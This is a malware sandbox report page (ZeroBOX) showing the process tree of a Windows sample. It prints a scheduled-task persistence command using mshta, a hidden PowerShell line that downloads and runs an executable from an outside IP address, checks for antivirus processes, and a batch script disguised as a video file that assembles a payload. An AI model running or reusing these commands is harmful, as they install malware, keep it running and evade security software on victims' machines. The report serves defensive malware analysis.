| ZeroBOX

random.exe "C:\Users\test22\AppData\Local\Temp\random.exe"
2548
- cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
  2600
  - schtasks.exe schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
    2704
- mshta.exe mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta
  2644
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    2808
    - TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE "C:\Users\test22\AppData\Local\TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE"
      3004
      - rapes.exe "C:\Users\test22\AppData\Local\Temp\bb556cff4a\rapes.exe"
        148
        
        ZqkKpwG.exe "C:\Users\test22\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
        2632
        
        zx4PJh6.exe "C:\Users\test22\AppData\Local\Temp\10286670101\zx4PJh6.exe"
        2760
        
        cmd.exe "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        2936
        
        tasklist.exe tasklist
        3024
        
        findstr.exe findstr /I "opssvc wrsa"
        2960
        
        tasklist.exe tasklist
        812
        
        findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        2084
        
        cmd.exe cmd /c md 440824
        2204
        
        extrac32.exe extrac32 /Y /E Architecture.wmv
        1508
        
        findstr.exe findstr /V "Offensive" Inter
        2588
        
        cmd.exe cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        2304
        
        cmd.exe cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        1316
        
        advnrNo.exe "C:\Users\test22\AppData\Local\Temp\10287840101\advnrNo.exe"
        560
explorer.exe C:\Windows\Explorer.EXE
1452

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents